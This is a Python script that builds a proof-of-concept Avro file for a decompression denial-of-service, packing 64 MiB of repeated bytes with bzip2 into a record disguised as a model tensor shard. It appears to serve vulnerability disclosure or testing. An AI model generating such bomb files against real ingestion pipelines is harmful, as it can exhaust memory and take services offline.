File size: 1,916 Bytes
9736740 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | import argparse
import hashlib
import json
from pathlib import Path
import avro.io
import avro.schema
from avro.datafile import DataFileWriter
SCHEMA_JSON = {
"type": "record",
"name": "ModelShard",
"namespace": "org.example.ml",
"fields": [
{"name": "tensor_name", "type": "string"},
{"name": "tensor_bytes", "type": "bytes"},
{"name": "notes", "type": "string"},
],
}
def sha256_file(path: Path) -> str:
h = hashlib.sha256()
with path.open("rb") as handle:
for chunk in iter(lambda: handle.read(1024 * 1024), b""):
h.update(chunk)
return h.hexdigest()
ROOT = Path(__file__).resolve().parent
def main() -> None:
parser = argparse.ArgumentParser(description="Generate a benign Avro decompression-DoS PoC artifact.")
parser.add_argument("--output", default=str(ROOT / "artifacts" / "avro_bzip2_dos.avro"))
parser.add_argument("--size-mib", type=int, default=64)
parser.add_argument("--codec", default="bzip2")
args = parser.parse_args()
out_path = Path(args.output)
out_path.parent.mkdir(parents=True, exist_ok=True)
payload = b"A" * (args.size_mib * 1024 * 1024)
schema = avro.schema.parse(json.dumps(SCHEMA_JSON))
datum = {
"tensor_name": "dense.weight",
"tensor_bytes": payload,
"notes": "Benign PoC: repetitive bytes to demonstrate block decompression before first record yield.",
}
with out_path.open("wb") as handle:
writer = DataFileWriter(handle, avro.io.DatumWriter(), schema, codec=args.codec)
writer.append(datum)
writer.close()
info = {
"artifact": str(out_path),
"codec": args.codec,
"payload_bytes": len(payload),
"artifact_bytes": out_path.stat().st_size,
"sha256": sha256_file(out_path),
}
print(json.dumps(info, indent=2))
if __name__ == "__main__":
main()
|